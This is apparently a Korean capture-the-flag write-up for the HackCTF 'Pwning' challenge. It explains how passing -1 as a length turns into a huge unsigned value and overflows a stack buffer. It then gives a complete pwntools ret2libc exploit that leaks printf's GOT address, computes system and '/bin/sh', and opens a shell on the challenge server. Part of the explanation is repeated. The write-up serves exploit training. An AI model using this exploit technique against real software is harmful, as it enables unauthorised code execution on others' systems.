char local_30, int local_10
값을 입력받고, 그 값을 local_30에 저장 → local_30의 값을 문자열로 변환 → local_10에 저장.
local_10 < 0x21이면 get_n 호출(local_30, local_10)
이때 여기서 get_n의 2번째 인자는 unsigned이지만, local_10은 int이다.
이때 음수를 넣어주면 overflow발생.
unsigned int의 비트 수는 4294967296이다.
그래서 -1을 하면
0 밑으로 내려가서 최대 숫자로 올라가 4294967295이 된다. 따라서 local_10은 4294967295가 된다.
printf_got함수를 구한다.
https://libc.blukat.me/ 이 사이트에서 바이너리에 쓰인 라이브러리를 찾고, 그 라이브러리에서 쓰이는 함수의 offset을 찾아서 vuln함수 한번더 호출하고, 릭하면 된다.
from pwn import * context.log_level = 'debug' p = remote('ctf.j0n9hyun.xyz', 3019) e = ELF('./pwning') libc = e.libc system_offset = 0x03a940 binsh_offset = 0x15902b p.recvuntil("read? ") p.sendline("-1") p.recvuntil("data!\\n") pr = 0x080484e1 #----------STEP 1(GET BASE_ADDR)------- payload = "" payload += "A"*48 payload += p32(e.plt['printf']) payload += p32(e.symbols['vuln']) payload += p32(e.got['printf']) p.sendline(payload) p.recvuntil('\\n') printf_addr = u32(p.recv(4)) leak_base = printf_addr - 0x049020 # printf함수의 오프셋 system = leak_base + system_offset binsh = leak_base + binsh_offset p.recvuntil("read? ") p.sendline("-1") p.recvuntil("data!\\n") payload1 = "A"*48 payload1 += p32(system) payload1 += "BBBB" payload1 += p32(binsh) p.sendline(payload1) p.interactive()
Pwning
get_n 함수 작동 원리
vuln함수 작동 원리
char local_30, int local_10
값을 입력받고, 그 값을 local_30에 저장 → local_30의 값을 문자열로 변환 → local_10에 저장.
local_10 < 0x21이면 get_n 호출(local_30, local_10)
이때 여기서 get_n의 2번째 인자는 unsigned이지만, local_10은 int이다.
이때 음수를 넣어주면 overflow발생.
unsigned int의 비트 수는 4294967296이다.
그래서 -1을 하면
0 밑으로 내려가서 최대 숫자로 올라가 4294967295이 된다. 따라서 local_10은 4294967295가 된다.
leak방법
printf_got함수를 구한다.
https://libc.blukat.me/ 이 사이트에서 바이너리에 쓰인 라이브러리를 찾고, 그 라이브러리에서 쓰이는 함수의 offset을 찾아서 vuln함수 한번더 호출하고, 릭하면 된다.
'HackCTF' 카테고리의 다른 글